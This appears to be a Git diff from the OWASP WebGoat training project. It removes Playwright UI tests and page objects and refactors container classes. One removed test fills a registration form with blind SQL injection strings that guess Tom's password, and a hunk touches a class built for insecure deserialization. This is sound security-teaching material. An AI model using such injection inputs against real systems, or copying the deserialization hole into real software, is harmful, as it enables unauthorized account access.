import org.junit.jupiter.api.MethodOrderer;
import org.junit.jupiter.api.Order;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.TestMethodOrder;
import org.owasp.webgoat.container.lessons.LessonName;
import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webgoat.pages.lessons.HttpBasicsLessonPage;
@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
public class HttpBasicsLessonUITest extends PlaywrightTest {
private HttpBasicsLessonPage lessonPage;
@BeforeEach
void navigateToLesson(Browser browser) {
var lessonName = new LessonName("HttpBasics");
var page = Authentication.sylvester(browser);
this.lessonPage = new HttpBasicsLessonPage(page);
lessonPage.resetLesson(lessonName);
lessonPage.open(lessonName);
}
@Test
@Order(1)
void shouldShowDefaultPage() {
assertThat(lessonPage.getTitle()).hasText("HTTP Basics");
Assertions.assertThat(lessonPage.noAssignmentsCompleted()).isTrue();
Assertions.assertThat(lessonPage.numberOfAssignments()).isEqualTo(2);
}
@Test
@Order(2)
@DisplayName(
"When the user enters their name, the server should reverse it then the assignment should be"
+ " solved")
void solvePage2() {
lessonPage.navigateTo(2);
lessonPage.getEnterYourName().fill("John Doe");
lessonPage.getGoButton().click();
assertThat(lessonPage.getAssignmentOutput())
.containsText("The server has reversed your name: eoD nhoJ");
Assertions.assertThat(lessonPage.isAssignmentSolved(2)).isTrue();
}
@Test
@Order(3)
@DisplayName("When the user enters nothing then the server should display an error message")
void invalidPage2() {
lessonPage.navigateTo(2);
lessonPage.getEnterYourName().fill("");
lessonPage.getGoButton().click();
assertThat(lessonPage.getAssignmentOutput()).containsText("Try again, name cannot be empty.");
}
@Test
@Order(4)
@DisplayName(
"Given Sylvester solves the first assignment when Tweety logs in then the first assignment should NOT be solved")
void shouldNotSolvePage1(Browser browser) {
lessonPage.navigateTo(2);
lessonPage.getEnterYourName().fill("John Doe");
lessonPage.getGoButton().click();
var tweetyLessonPage = new HttpBasicsLessonPage(Authentication.tweety(browser));
tweetyLessonPage.open(new LessonName("HttpBasics"));
Assertions.assertThat(tweetyLessonPage.noAssignmentsCompleted()).isTrue();
}
}

View File

@ -1,120 +0,0 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.lessons;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.Page.GetByRoleOptions;
import com.microsoft.playwright.options.AriaRole;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.container.lessons.LessonName;
import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webgoat.pages.lessons.LessonPage;
public class SqlInjectionAdvancedUITest extends PlaywrightTest {
private LessonPage lessonPage;
@BeforeEach
void navigateToLesson(Browser browser) {
var lessonName = new LessonName("SqlInjectionAdvanced");
var page = Authentication.sylvester(browser);
this.lessonPage = new LessonPage(page);
lessonPage.resetLesson(lessonName);
lessonPage.open(lessonName);
}
@Test
@DisplayName("Login as Tom with incorrect password")
void loginAsTomWithIncorrectPassword() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Login")).click();
page.locator("[name='username_login']").fill("tom");
page.locator("[name='password_login']").fill("test");
page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Log In")).click();
assertThat(lessonPage.getAssignmentOutput())
.containsText("Wrong username or password. Try again.");
}
@Test
@DisplayName("Login as Tom with correct password")
void loginAsTomWithCorrectPassword() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Login")).click();
page.locator("[name='username_login']").fill("tom");
page.locator("[name='password_login']").fill("thisisasecretfortomonly");
page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Log In")).click();
lessonPage.isAssignmentSolved(5);
}
@Test
@DisplayName("Register as Tom should show error that Tom already exists")
void registerAsTomShouldDisplayError() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Register")).click();
page.locator("[name='username_reg']").fill("tom");
page.locator("[name='email_reg']").fill("tom@tom.org");
page.locator("[name='password_reg']").fill("test");
page.locator("[name='confirm_password_reg']").fill("test");
page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Register Now")).click();
assertThat(lessonPage.getAssignmentOutput()).containsText("User tom already exists");
}
@Test
@DisplayName(
"Using SQL Injection to register as Tom to guess the password and the guess is correct")
void startGuessingCorrect() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Register")).click();
page.locator("[name='username_reg']").fill("tom' AND substring(password,1,1)='t");
page.locator("[name='email_reg']").fill("tom@tom.org");
page.locator("[name='password_reg']").fill("test");
page.locator("[name='confirm_password_reg']").fill("test");
page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Register Now")).click();
assertThat(lessonPage.getAssignmentOutput())
.containsText("User tom' AND substring(password,1,1)='t already exists");
}
@Test
@DisplayName(
"Using SQL Injection to register as Tom to guess the password and the guess is incorrect")
void startGuessingIncorrect() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Register")).click();
page.locator("[name='username_reg']").fill("tom' AND substring(password,1,1)='a");
page.locator("[name='email_reg']").fill("tom@tom.org");
page.locator("[name='password_reg']").fill("test");
page.locator("[name='confirm_password_reg']").fill("test");
page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Register Now")).click();
assertThat(lessonPage.getAssignmentOutput())
.containsText(
"User tom' AND substring(password,1,1)='a created, please proceed to the login page.");
}
@Test
@DisplayName("Should display correct hints")
void shouldDisplayCorrectHints() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("Show hints")).click();
assertThat(lessonPage.getAssignmentOutput()).containsText("Look at the different");
}
}

View File

@ -1,36 +0,0 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.pages;
import static com.microsoft.playwright.options.AriaRole.BUTTON;
import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webGoatUrl;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import lombok.Getter;
public class RegistrationPage {
private final Page page;
@Getter private final Locator signUpButton;
public RegistrationPage(Page page) {
this.page = page;
this.signUpButton = this.page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign up"));
}
public void open() {
page.navigate(webGoatUrl("registration"));
}
public void register(String username, String password) {
page.getByPlaceholder("Username").fill(username);
page.getByLabel("Password", new Page.GetByLabelOptions().setExact(true)).fill(password);
page.getByLabel("Confirm password").fill(password);
page.getByLabel("Agree with the terms and").check();
page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("Sign up")).click();
}
}

View File

@ -1,33 +0,0 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.pages;
import static com.microsoft.playwright.options.AriaRole.BUTTON;
import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webGoatUrl;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import lombok.Getter;
public class WebGoatLoginPage {
private final Page page;
@Getter private final Locator signInButton;
public WebGoatLoginPage(Page page) {
this.page = page;
this.signInButton = this.page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign in"));
}
public void open() {
page.navigate(webGoatUrl("login"));
}
public void login(String username, String password) {
page.getByPlaceholder("Username").fill(username);
page.getByPlaceholder("Password").fill(password);
page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign in")).click();
}
}

View File

@ -1,28 +0,0 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.pages.lessons;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import lombok.Getter;
@Getter
public class HttpBasicsLessonPage extends LessonPage {
private final Locator enterYourName;
private final Locator goButton;
public HttpBasicsLessonPage(Page page) {
super(page);
enterYourName = page.locator("input[name=\"person\"]");
goButton = page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("Go!"));
}
public Locator getTitle() {
return getPage()
.getByRole(AriaRole.HEADING, new Page.GetByRoleOptions().setName("HTTP Basics"));
}
}

View File

@ -1,72 +0,0 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.pages.lessons;
import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webGoatUrl;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import lombok.Getter;
import org.assertj.core.api.Assertions;
import org.owasp.webgoat.container.lessons.LessonName;
@Getter
public class LessonPage {
private final Page page;
public LessonPage(Page page) {
this.page = page;
}
public void navigateTo(int pageNumber) {
page.getByRole(AriaRole.LINK, new Page.GetByRoleOptions().setName("" + pageNumber)).click();
}
public void open(LessonName lessonName) {
page.navigate(webGoatUrl("start.mvc#lesson/%s".formatted(lessonName.lessonName())));
}
/**
* Force a reload for the UI to response, this is normally done by a JavaScript reloading every 5
* seconds
*/
public void refreshPage() {
page.reload();
}
public void resetLesson(LessonName lessonName) {
Assertions.assertThat(
page.request()
.get(webGoatUrl("service/restartlesson.mvc/%s".formatted(lessonName)))
.ok())
.isTrue();
refreshPage();
}
public int numberOfAssignments() {
return page.locator(".attack-link.solved-false").count()
+ page.locator(".attack-link.solved-true").count();
}
public boolean isAssignmentSolved(int pageNumber) {
var solvedAssignments = page.locator(".attack-link.solved-true");
solvedAssignments.waitFor();
return solvedAssignments.all().stream().anyMatch(l -> l.textContent().equals("" + pageNumber));
}
public boolean noAssignmentsCompleted() {
return page.locator(".attack-link.solved-true").count() == 0;
}
public Locator getAssignmentOutput() {
return page.locator("#lesson-content-wrapper");
}
public Locator getHintsOutput() {
return page.locator("#lesson-hint");
}
}

View File

@ -1,36 +0,0 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webwolf;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
class JwtUITest extends PlaywrightTest {
@Test
void shouldDecodeJwt(Browser browser) {
var page = Authentication.sylvester(browser);
var secretKey = "test";
var jwt =
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c";
page.navigate(webWolfURL("jwt"));
page.getByPlaceholder("Enter your secret key").fill(secretKey);
page.getByPlaceholder("Paste token here").type(jwt);
assertThat(page.locator("#header"))
.hasValue("{\n \"alg\" : \"HS256\",\n \"typ\" : \"JWT\"\n}");
assertThat(page.locator("#payload"))
.hasValue(
"{\n"
+ " \"iat\" : 1516239022,\n"
+ " \"name\" : \"John Doe\",\n"
+ " \"sub\" : \"1234567890\"\n"
+ "}");
}
}

View File

@ -1,31 +0,0 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webwolf;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webwolf.pages.WebWolfLoginPage;
public class LoginUITest extends PlaywrightTest {
@Test
void login(Browser browser) {
var page = Authentication.tweety(browser);
var loginPage = new WebWolfLoginPage(page);
loginPage.open();
loginPage.login(Authentication.getTweety().name(), Authentication.getTweety().password());
assertThat(loginPage.getSignInButton()).not().isVisible();
// logout
loginPage.logout();
assertThat(loginPage.getSignInButton()).isVisible();
}
}

View File

@ -1,41 +0,0 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webwolf.pages;
import static com.microsoft.playwright.options.AriaRole.BUTTON;
import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webWolfURL;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import lombok.Getter;
public class WebWolfLoginPage {
private final Page page;
@Getter private final Locator signInButton;
private final Locator signOutButton;
public WebWolfLoginPage(Page page) {
this.page = page;
this.signInButton = this.page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign In"));
this.signOutButton =
this.page.getByRole(AriaRole.LINK, new Page.GetByRoleOptions().setName("Sign out"));
}
public void open() {
page.navigate(webWolfURL("login"));
}
public void login(String username, String password) {
page.getByPlaceholder("Username WebGoat").fill(username);
page.getByPlaceholder("Password WebGoat").fill(password);
signInButton.click();
}
public void logout() {
this.signOutButton.click();
}
}

View File

@ -1,7 +1,3 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.dummy.insecure.framework; package org.dummy.insecure.framework;
import java.io.BufferedReader; import java.io.BufferedReader;
@ -42,6 +38,8 @@ public class VulnerableTaskHolder implements Serializable {
/** /**
* Execute a task when de-serializing a saved or received object. * Execute a task when de-serializing a saved or received object.
*
* @author stupid develop
*/ */
private void readObject(ObjectInputStream stream) throws Exception { private void readObject(ObjectInputStream stream) throws Exception {
// unserialize data so taskName and taskAction are available // unserialize data so taskName and taskAction are available

View File

@ -1,6 +1,29 @@
/* /**
* SPDX-FileCopyrightText: Copyright © 2008 WebGoat authors * *************************************************************************************************
* SPDX-License-Identifier: GPL-2.0-or-later *
* <p>
*
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*/ */
package org.owasp.webgoat.container; package org.owasp.webgoat.container;
@ -11,6 +34,11 @@ import java.io.IOException;
import org.springframework.security.core.AuthenticationException; import org.springframework.security.core.AuthenticationException;
import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint; import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint;
/**
* AjaxAuthenticationEntryPoint class.
*
* @author zupzup
*/
public class AjaxAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoint { public class AjaxAuthenticationEntryPoint extends LoginUrlAuthenticationEntryPoint {
public AjaxAuthenticationEntryPoint(String loginFormUrl) { public AjaxAuthenticationEntryPoint(String loginFormUrl) {
super(loginFormUrl); super(loginFormUrl);

View File

@ -1,28 +1,53 @@
/* /**
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors * ************************************************************************************************
* SPDX-License-Identifier: GPL-2.0-or-later * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* <p>
*
* @author WebGoat
* @version $Id: $Id
* @since December 12, 2015
*/ */
package org.owasp.webgoat.container; package org.owasp.webgoat.container;
import static org.asciidoctor.Asciidoctor.Factory.create; import static org.asciidoctor.Asciidoctor.Factory.create;
import io.undertow.util.Headers;
import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletRequest;
import java.io.IOException; import java.io.IOException;
import java.io.InputStream; import java.io.InputStream;
import java.io.InputStreamReader; import java.io.InputStreamReader;
import java.io.StringWriter; import java.io.StringWriter;
import java.util.HashMap;
import java.util.Locale; import java.util.Locale;
import java.util.Map; import java.util.Map;
import java.util.Set; import java.util.Set;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.asciidoctor.Asciidoctor; import org.asciidoctor.Asciidoctor;
import org.asciidoctor.Attributes;
import org.asciidoctor.Options;
import org.asciidoctor.extension.JavaExtensionRegistry; import org.asciidoctor.extension.JavaExtensionRegistry;
import org.owasp.webgoat.container.asciidoc.*; import org.owasp.webgoat.container.asciidoc.*;
import org.owasp.webgoat.container.i18n.Language; import org.owasp.webgoat.container.i18n.Language;
import org.springframework.core.io.ResourceLoader; import org.springframework.core.io.ResourceLoader;
import org.springframework.http.HttpHeaders;
import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.i18n.SessionLocaleResolver; import org.springframework.web.servlet.i18n.SessionLocaleResolver;
@ -110,17 +135,17 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
return computedResourceName; return computedResourceName;
} }
private Options createAttributes() { private Map<String, Object> createAttributes() {
Map<String, Object> attributes = new HashMap<>();
attributes.put("source-highlighter", "coderay");
attributes.put("backend", "xhtml");
attributes.put("lang", determineLanguage());
attributes.put("icons", org.asciidoctor.Attributes.FONT_ICONS);
return Options.builder() Map<String, Object> options = new HashMap<>();
.attributes( options.put("attributes", attributes);
Attributes.builder()
.attribute("source-highlighter", "coderay") return options;
.attribute("backend", "xhtml")
.attribute("lang", determineLanguage())
.attribute("icons", org.asciidoctor.Attributes.FONT_ICONS)
.build())
.build();
} }
private String determineLanguage() { private String determineLanguage() {
@ -134,7 +159,7 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
log.debug("browser locale {}", browserLocale); log.debug("browser locale {}", browserLocale);
return browserLocale.getLanguage(); return browserLocale.getLanguage();
} else { } else {
String langHeader = request.getHeader(HttpHeaders.ACCEPT_LANGUAGE); String langHeader = request.getHeader(Headers.ACCEPT_LANGUAGE_STRING);
if (null != langHeader) { if (null != langHeader) {
log.debug("browser locale {}", langHeader); log.debug("browser locale {}", langHeader);
return langHeader.substring(0, 2); return langHeader.substring(0, 2);

View File

@ -1,18 +0,0 @@
/*
* SPDX-FileCopyrightText: Copyright © 2017 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.lang.annotation.Documented;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import org.springframework.security.core.annotation.AuthenticationPrincipal;
@Target({ElementType.PARAMETER, ElementType.TYPE})
@Retention(RetentionPolicy.RUNTIME)
@Documented
@AuthenticationPrincipal
public @interface CurrentUser {}

View File

@ -1,18 +0,0 @@
/*
* SPDX-FileCopyrightText: Copyright © 2024 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.lang.annotation.Documented;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import org.springframework.security.core.annotation.AuthenticationPrincipal;
@Target({ElementType.PARAMETER, ElementType.TYPE})
@Retention(RetentionPolicy.RUNTIME)
@Documented
@AuthenticationPrincipal(expression = "#this.getUsername()")
public @interface CurrentUsername {}

View File

@ -1,7 +1,3 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container; package org.owasp.webgoat.container;
import java.util.Map; import java.util.Map;
@ -11,7 +7,6 @@ import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.flywaydb.core.Flyway; import org.flywaydb.core.Flyway;
import org.owasp.webgoat.container.service.RestartLessonService; import org.owasp.webgoat.container.service.RestartLessonService;
import org.owasp.webgoat.container.users.WebGoatUser;
import org.springframework.boot.autoconfigure.jdbc.DataSourceProperties; import org.springframework.boot.autoconfigure.jdbc.DataSourceProperties;
import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.Configuration;
@ -39,8 +34,8 @@ public class DatabaseConfiguration {
/** /**
* Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users * Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users
* and 1 for lesson specific tables we use. This way we clean the data in the lesson database * and 1 for lesson specific tables we use. This way we clean the data in the lesson database
* quite easily see {@link RestartLessonService#restartLesson(String, WebGoatUser)} for how we * quite easily see {@link RestartLessonService#restartLesson()} for how we clean the lesson
* clean the lesson related tables. * related tables.
*/ */
@Bean(initMethod = "migrate") @Bean(initMethod = "migrate")
public Flyway flyWayContainer() { public Flyway flyWayContainer() {
@ -65,7 +60,7 @@ public class DatabaseConfiguration {
} }
@Bean @Bean
public LessonDataSource lessonDataSource(DataSource dataSource) { public LessonDataSource lessonDataSource() {
return new LessonDataSource(dataSource); return new LessonDataSource(dataSource());
} }
} }

View File

@ -1,7 +1,3 @@
/*
* SPDX-FileCopyrightText: Copyright © 2008 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container; package org.owasp.webgoat.container;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
@ -11,6 +7,39 @@ import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.servlet.ModelAndView; import org.springframework.web.servlet.ModelAndView;
/**
* *************************************************************************************************
*
* <p>
*
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* @author Jeff Williams
* @author Bruce Mayhew
* @author Nanne Baars
* @version $Id: $Id
* @since October 28, 2003
*/
@Controller @Controller
@AllArgsConstructor @AllArgsConstructor
public class HammerHead { public class HammerHead {

View File

@ -1,7 +1,3 @@
/*
* SPDX-FileCopyrightText: Copyright © 2021 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container; package org.owasp.webgoat.container;
import java.io.PrintWriter; import java.io.PrintWriter;

View File

@ -1,6 +1,33 @@
/* /**
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors * ************************************************************************************************
* SPDX-License-Identifier: GPL-2.0-or-later *
* <p>
*
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* @author WebGoat
* @version $Id: $Id
* @since October 28, 2003
*/ */
package org.owasp.webgoat.container; package org.owasp.webgoat.container;
@ -28,8 +55,8 @@ import org.thymeleaf.templateresource.StringTemplateResource;
public class LessonTemplateResolver extends FileTemplateResolver { public class LessonTemplateResolver extends FileTemplateResolver {
private static final String PREFIX = "lesson:"; private static final String PREFIX = "lesson:";
private final ResourceLoader resourceLoader; private ResourceLoader resourceLoader;
private final Map<String, byte[]> resources = new HashMap<>(); private Map<String, byte[]> resources = new HashMap<>();
public LessonTemplateResolver(ResourceLoader resourceLoader) { public LessonTemplateResolver(ResourceLoader resourceLoader) {
this.resourceLoader = resourceLoader; this.resourceLoader = resourceLoader;
@ -47,26 +74,17 @@ public class LessonTemplateResolver extends FileTemplateResolver {
var templateName = resourceName.substring(PREFIX.length()); var templateName = resourceName.substring(PREFIX.length());
byte[] resource = resources.get(templateName); byte[] resource = resources.get(templateName);
if (resource == null) { if (resource == null) {
resource = loadAndCache(templateName); try {
} resource =
resourceLoader
if (resource == null) { .getResource("classpath:/" + templateName)
return new StringTemplateResource("Unable to find lesson HTML: %s".formatted(templateName)); .getInputStream()
.readAllBytes();
} catch (IOException e) {
log.error("Unable to find lesson HTML: {}", template);
}
resources.put(templateName, resource);
} }
return new StringTemplateResource(new String(resource, StandardCharsets.UTF_8)); return new StringTemplateResource(new String(resource, StandardCharsets.UTF_8));
} }
private byte[] loadAndCache(String templateName) {
try {
var resource =
resourceLoader.getResource("classpath:/" + templateName).getInputStream().readAllBytes();
resources.put(templateName, resource);
return resource;
} catch (IOException e) {
log.error(
"Unable to find lesson HTML: '{}', does the name of HTML file name match the lesson class name?",
templateName);
return null;
}
}
} }

View File

@ -1,6 +1,33 @@
/* /**
* SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors * ************************************************************************************************
* SPDX-License-Identifier: GPL-2.0-or-later *
* <p>
*
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* @author WebGoat
* @version $Id: $Id
* @since October 28, 2003
*/ */
package org.owasp.webgoat.container; package org.owasp.webgoat.container;
@ -13,6 +40,7 @@ import lombok.extern.slf4j.Slf4j;
import org.owasp.webgoat.container.i18n.Language; import org.owasp.webgoat.container.i18n.Language;
import org.owasp.webgoat.container.i18n.Messages; import org.owasp.webgoat.container.i18n.Messages;
import org.owasp.webgoat.container.i18n.PluginMessages; import org.owasp.webgoat.container.i18n.PluginMessages;
import org.owasp.webgoat.container.lessons.LessonScanner;
import org.owasp.webgoat.container.session.LabelDebugger; import org.owasp.webgoat.container.session.LabelDebugger;
import org.springframework.context.ApplicationContext; import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Bean;
@ -46,13 +74,14 @@ public class MvcConfiguration implements WebMvcConfigurer {
private static final String UTF8 = "UTF-8"; private static final String UTF8 = "UTF-8";
private final LessonResourceScanner lessonScanner; private final LessonScanner lessonScanner;
@Override @Override
public void addViewControllers(ViewControllerRegistry registry) { public void addViewControllers(ViewControllerRegistry registry) {
